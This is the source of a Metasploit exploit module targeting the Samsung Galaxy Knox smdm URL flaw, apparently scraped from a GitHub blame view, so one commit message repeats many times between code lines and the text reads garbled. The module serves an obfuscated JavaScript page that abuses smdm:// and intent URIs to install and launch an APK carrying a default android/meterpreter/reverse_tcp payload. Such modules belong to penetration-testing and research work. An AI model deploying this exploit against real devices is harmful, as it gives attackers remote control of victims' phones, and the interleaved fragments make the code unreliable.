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metasploit-framework
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metasploit-framework/modules/exploits/android/browser/samsung_knox_smdm_url.rb

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Add module for samsung knox root exploit.
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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'digest/md5'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::BrowserExploitServer
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
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# Hash that maps payload ID -> (0|1) if an HTTP request has
# been made to download a payload of that ID
attr_reader :served_payloads
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def initialize(info = {})
super(update_info(info,
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'Name' => 'Samsung Galaxy Knox Android Browser RCE',
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'Description' => %q{
A vulnerability exists in the Knox security component of the Samsung Galaxy
Not root, just arbitrary permissions.
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firmware that allows a remote webpage to install an APK with arbitrary
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permissions.
The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3,
and Ace 4.
},
'License' => MSF_LICENSE,
'Author' => [
'Andre Moulu', # discovery and advisory
'joev' # msf module
],
'References' => [
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['URL', 'http://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html']
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],
'Platform' => 'android',
'Arch' => ARCH_DALVIK,
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
'Targets' => [ [ 'Automatic', {} ] ],
'DisclosureDate' => 'Nov 12 2014',
'DefaultTarget' => 0,
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'BrowserRequirements' => {
:source => 'script',
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
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:os_name => OperatingSystems::Match::ANDROID
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}
))
register_options([
OptString.new('APK_VERSION', [
false, "The update version to advertise to the client", "1337"
])
], self.class)
deregister_options('JsObfuscate')
end
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
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def exploit
@served_payloads = Hash.new(0)
super
end
def apk_bytes
payload.encoded
end
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def on_request_uri(cli, req)
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
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if req.uri =~ /\/([a-zA-Z0-9]+)\.apk\/latest$/
if req.method.upcase == 'HEAD'
print_status "Serving metadata..."
send_response(cli, '', magic_headers)
else
print_status "Serving payload '#{$1}'..."
@served_payloads[$1] = 1
send_response(cli, apk_bytes, magic_headers)
end
elsif req.uri =~ /_poll/
puts "Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}"
send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain')
elsif req.uri =~ /launch$/
send_response_html(cli, launch_html)
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else
super
end
end
# The browser appears to be vulnerable, serve the exploit
def on_request_exploit(cli, req, browser)
print_status "Serving exploit..."
send_response_html(cli, generate_html)
end
def magic_headers
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
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{ 'Content-Length' => apk_bytes.length,
'ETag' => Digest::MD5.hexdigest(apk_bytes),
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'x-amz-meta-apk-version' => datastore['APK_VERSION'] }
end
def generate_html
%Q|
<!doctype html>
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
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<html><body>
<script>
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#{exploit_js}
</script></body></html>
|
end
def exploit_js
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
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payload_id = rand_word
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js_obfuscate %Q|
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
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function poll() {
var xhr = new XMLHttpRequest();
xhr.open('GET', '_poll?id=#{payload_id}&d='+Math.random()*999999999999);
xhr.onreadystatechange = function(){
if (xhr.readyState == 4) {
if (xhr.responseText == '1') {
setTimeout(killEnrollment, 100);
} else {
setTimeout(poll, 1000);
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setTimeout(enroll, 0);
setTimeout(enroll, 500);
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
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}
}
};
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xhr.onerror = function(){
setTimeout(poll, 1000);
setTimeout(enroll, 0);
};
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
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xhr.send();
}
function enroll() {
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var loc = window.location.href.replace(/[/.]$/g, '');
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top.location = 'smdm://#{rand_word}?update_url='+
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
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encodeURIComponent(loc)+'/#{payload_id}.apk';
}
function killEnrollment() {
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top.location = "intent://#{rand_word}?program="+
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
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"#{rand_word}/#Intent;scheme=smdm;launchFlags=268468256;end";
setTimeout(launchApp, 300);
}
function launchApp() {
Remove BAP target, payload is flaky. Add warning.
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top.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end';
Some URL fixes from @jduck and exploit ideas from Andre Moulu. The exploit works with the URLs fixed, installs the APK, but hangs at the Installing... screen and never actually launches. We tried opening the APK in a setTimeout() intent URI, but the previously launched intent seemed unresponsive. Andre had the bright idea of re-opening the previously launched intent with invalid args, crashing it and allow us to launch the payload.
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}
enroll();
setTimeout(poll,600);
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|
end
def rand_word
Rex::Text.rand_text_alphanumeric(3+rand(12))
end
end